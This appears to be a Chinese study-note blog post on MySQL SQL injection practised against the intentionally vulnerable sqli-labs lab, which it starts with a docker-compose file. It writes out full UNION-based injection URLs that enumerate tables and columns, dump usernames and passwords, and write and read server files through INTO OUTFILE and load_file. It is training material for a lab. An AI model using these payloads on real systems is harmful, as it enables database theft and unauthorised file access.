【小迪安全】Day12-13web漏洞-SQL注入之MYSQL注入

web漏洞-SQL注入之MYSQL注入

前言

​ 介绍了mysql数据库的简要sql注入流程。图片来源：https://blog.csdn.net/weixin_52444045/article/details/119080263?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166694298616800180613937%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166694298616800180613937&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-119080263-null-null.article_score_rank_blog&utm_term=SQL%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4450。

安装sqlilabs靶场

​ 项目地址：https://github.com/Audi-1/sqli-labs，docker镜像地址：https://hub.docker.com/r/c0ny1/sqli-labs/tags，写个docker-compose.xml文件启动起来。

version: '2.0'
services:
  pikachu:
    image: c0ny1/sqli-labs:0.1
    container_name: sqli-labs
    ports:
      - '8082:80'
    restart: unless-stopped

按流程进行SQL注入测试

判断注入点

​ 用Less-2来演示，如图，数据没查出来，有注入点。

判断表的列数

判断前端回显的是哪列数据

信息收集-获取数据库版本、名字、用户、操作系统

获取表名、列名

​ 5.5.47版本，直接从information_schema库中查。查表名：http://192.168.237.168:8082/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’。查列名：http://192.168.237.168:8082/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’

获取数据

http://192.168.237.168:8082/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users

读写文件

写文件

​ http://192.168.237.168:8082/Less-2/?id=-1 union select 1,2,3 into outfile ‘/mytest777dir/myintofile.txt’ --+

读文件

​ http://192.168.237.168:8082/Less-2/?id=-1 union select 1,2,load_file(‘/mytest777dir/myintofile.txt’)